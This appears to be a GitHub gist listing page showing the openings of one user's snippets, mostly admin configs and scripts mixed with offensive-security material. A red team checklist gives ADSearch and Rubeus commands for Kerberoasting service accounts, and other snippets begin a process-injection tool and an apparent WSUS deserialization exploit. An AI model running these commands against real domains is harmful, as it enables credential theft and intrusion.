Skip to content

Instantly share code, notes, and snippets.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktracewsus
{
class Program
{
static void Main()
@swtornio
swtornio / gist:902a21379cd39ef6ebcd9071a157e370
Created May 12, 2025 17:52
bypass etc/passwd lock error for apt upgrade in wsl1
# 1. Move the dpkg info directory out of the way
sudo mv /var/lib/dpkg/info /var/lib/dpkg/info_silent
# 2. Recreate an empty info directory so dpkg won’t error out on missing files
sudo mkdir /var/lib/dpkg/info
# 3. Refresh and fix any half-installed packages
sudo apt-get update
sudo apt-get -f install
# Red Team Checklist
## Kerberoasting
Find SPNS (can also be found from ADExplorer snapshot)
`C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName`
Roast individually
`C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:sqlsvc /nowrap`
@swtornio
swtornio / install.sh
Created October 14, 2024 14:01 — forked from ikr4-m/install.sh
Hyper-V Enhanced Session for Debian
#!/bin/sh
# This script based on linux-vm-tools for Ubuntu 22.02.
# Thanks to https://github.com/Hinara/linux-vm-tools/ to script
# This script is for Ubuntu 22.04 Jammy Jellyfish to download and install XRDP+XORGXRDP via
# source.
#
# Major thanks to: http://c-nergy.be/blog/?p=11336 for the tips.
#
@swtornio
swtornio / tmux.conf
Created September 16, 2024 12:53
Basic tmux config with logging
set -g history-limit 9999999
set -g mouse on
unbind -n MouseDrag1Pane
set-window-option -g mode-keys vi
set -g base-index 0 # Start window numbers at 0
# Log all panes by default to $HOME/tmux_logs
run-shell -b 'if [ ! -d "$HOME/tmux_logs" ];then mkdir $HOME/tmux_logs; fi'
# Prefix + c: Enable logging by default when a new window is created
bind c new-window\; pipe-pane -o 'bash -c "while IFS= read -r line; do echo \"\$(date +%%Y%%m%%dT%%H%%M%%SZ%%z): \$line\"; done" >>$HOME/tmux_logs/"'%Y-%m-%d-%H:%M:%S'-win#I-pane#P-#W-#S-tmux.log"'
@swtornio
swtornio / DInjectQueuerAPC.cs
Created September 13, 2024 15:24 — forked from jfmaes/DInjectQueuerAPC.cs
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DinjectorWithQUserAPC
{
public class Program
syntax on
filetype indent on
set number
set shiftwidth=4
set expandtab
set nowrap
@swtornio
swtornio / 2serv.py
Created February 15, 2023 19:29 — forked from phrawzty/2serv.py
simple python http server to dump request headers
#!/usr/bin/env python2
import SimpleHTTPServer
import SocketServer
import logging
PORT = 8000
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
@swtornio
swtornio / gist:ab5940a309e9b105457813c8e4c5140c
Created December 9, 2022 20:59
proxy categorization URLS
Baracuda - http://www.barracudacentral.org/report/website-category/www.example.org
Bluecoat - https://sitereview.bluecoat.com/sitereview.jsp
Bright Cloud - https://www.brightcloud.com/tools/url-ip-lookup.php
CheckPoint- https://www.checkpoint.com/urlcat/
Cisco - Scansafe - https://securityhub.cisco.com/web/submited_urls
_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
A DIY Guide